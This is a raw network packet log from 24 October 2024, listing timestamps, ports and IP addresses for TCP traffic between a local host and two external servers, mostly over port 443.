Oct 24, 2024 08:51:06.426126957 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.426143885 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.430536985 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.430655003 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.430824995 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.431344032 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.431381941 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.533468962 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.533659935 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.533915997 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.534269094 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.534321070 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.534351110 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.534368038 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.538265944 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.538311958 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.538443089 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.538635969 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.538662910 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.764041901 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.765160084 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.765192032 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.765850067 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.765856028 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.895180941 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.895212889 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.895261049 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.895376921 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.895451069 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.895731926 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.895756006 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.895766973 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.895771980 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.898852110 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.898893118 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:06.898981094 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.899148941 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:06.899163008 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.079978943 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.080941916 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.080967903 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.081300974 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.081306934 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.088296890 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.091092110 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.091120005 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.091568947 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.091573954 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.140031099 CEST	49753	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:51:07.145524025 CEST	80	49753	185.27.134.114	192.168.2.4
Oct 24, 2024 08:51:07.173496008 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.175441027 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.175518990 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.176620960 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.176635981 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.211376905 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.211536884 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.211713076 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.211852074 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.211878061 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.211891890 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.211898088 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.215034008 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.215074062 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.215213060 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.219944000 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.220045090 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.220114946 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.221142054 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.221160889 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.227497101 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.227521896 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.227535963 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.227541924 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.240988970 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.241024971 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.241134882 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.241318941 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.241331100 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.285295963 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.305352926 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.305455923 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.305557013 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.333399057 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.333421946 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.334085941 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.334090948 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.367907047 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.367907047 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.367940903 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.367955923 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.461729050 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.461766958 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.461846113 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.462030888 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.462030888 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.641760111 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.684451103 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.829881907 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.829924107 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.829938889 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.829946041 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.834826946 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.834845066 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.835376024 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.835380077 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.837105989 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.837158918 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.837243080 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.837517977 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.837555885 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.837563038 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.837582111 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:07.837611914 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.837771893 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:07.837785959 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.088676929 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.089602947 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.089627028 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.091973066 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.091979980 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.204927921 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.205015898 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.205120087 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.205566883 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.205566883 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.205590010 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.205602884 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.209088087 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.209140062 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.209240913 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.209453106 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.209462881 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.216149092 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.216211081 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.216214895 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.216310024 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.218842030 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.218861103 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.218873978 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.218879938 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.219358921 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.219376087 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.219897985 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.219903946 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.222456932 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.222553015 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.222655058 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.222831011 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.222860098 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.347131014 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.347228050 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.347381115 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.349179983 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.349203110 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.349216938 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.349224091 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.352595091 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.352653027 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.352737904 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.352899075 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.352916002 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.484335899 CEST	49752	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:51:08.489798069 CEST	80	49752	185.27.134.114	192.168.2.4
Oct 24, 2024 08:51:08.797668934 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.798506975 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.798540115 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.798896074 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.798903942 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.820687056 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.821537971 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.821564913 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.821959972 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.821964979 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.943326950 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.944353104 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.944380045 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.944777966 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.944782972 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.951725960 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.953783989 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.954123974 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.954217911 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.954684019 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.954704046 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.955176115 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.955182076 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.955424070 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.955436945 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.955461979 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.955467939 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.958621025 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.958667994 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:08.958761930 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.958928108 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:08.958937883 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.123696089 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:51:09.200036049 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200047016 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200099945 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200119972 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.200155973 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200165033 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.200212002 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200247049 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.200633049 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200664043 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200711966 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.200725079 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200732946 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:51:09.200794935 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.200831890 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.202862024 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.204123020 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.204139948 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.204154015 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.204155922 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.204155922 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.204159975 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.204170942 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.204181910 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.205291033 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.205306053 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.205319881 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.205326080 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.206871033 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.206883907 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.207406998 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.207412004 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.208789110 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.208832026 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.208904028 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.209017992 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.209031105 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.209888935 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.209920883 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.209964991 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.210802078 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.210833073 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.210886955 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.210930109 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.210938931 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.211010933 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.211021900 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.332446098 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.332530022 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.332854033 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.333224058 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.333237886 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.333261967 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.333266973 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.337337017 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.337392092 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.337476969 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.337655067 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.337670088 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.692094088 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.696348906 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.696399927 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.696963072 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.696969032 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.823021889 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.823304892 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.823551893 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.823601007 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.823620081 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.823633909 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.823640108 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.835902929 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.835956097 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:09.836056948 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.836257935 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:09.836268902 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.965045929 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.965841055 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.965884924 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.970896006 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:10.970935106 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.971548080 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:10.971558094 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.971996069 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:10.972034931 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.972424984 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:10.972430944 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.972681999 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:10.972692013 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:10.973253012 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:10.973265886 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.329768896 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.329806089 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.329852104 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.329947948 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.330101967 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.330264091 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.330279112 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.330279112 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.330327034 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.330354929 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.330707073 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.330725908 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.330755949 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.330761909 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.331161976 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.331208944 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.331258059 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.331373930 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.331790924 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.331795931 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.331828117 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.331830978 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.333343983 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.334295988 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.334337950 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.334640980 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.335247993 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.335304022 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.335438967 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.335864067 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.335885048 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.336343050 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.336385965 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.336626053 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.336657047 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.336713076 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.336812973 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.336812973 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.336833000 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.336852074 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.336863041 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.336868048 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.337380886 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:11.337405920 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:11.337471008 CEST	49896	443	192.168.2.4	13.107.246.60
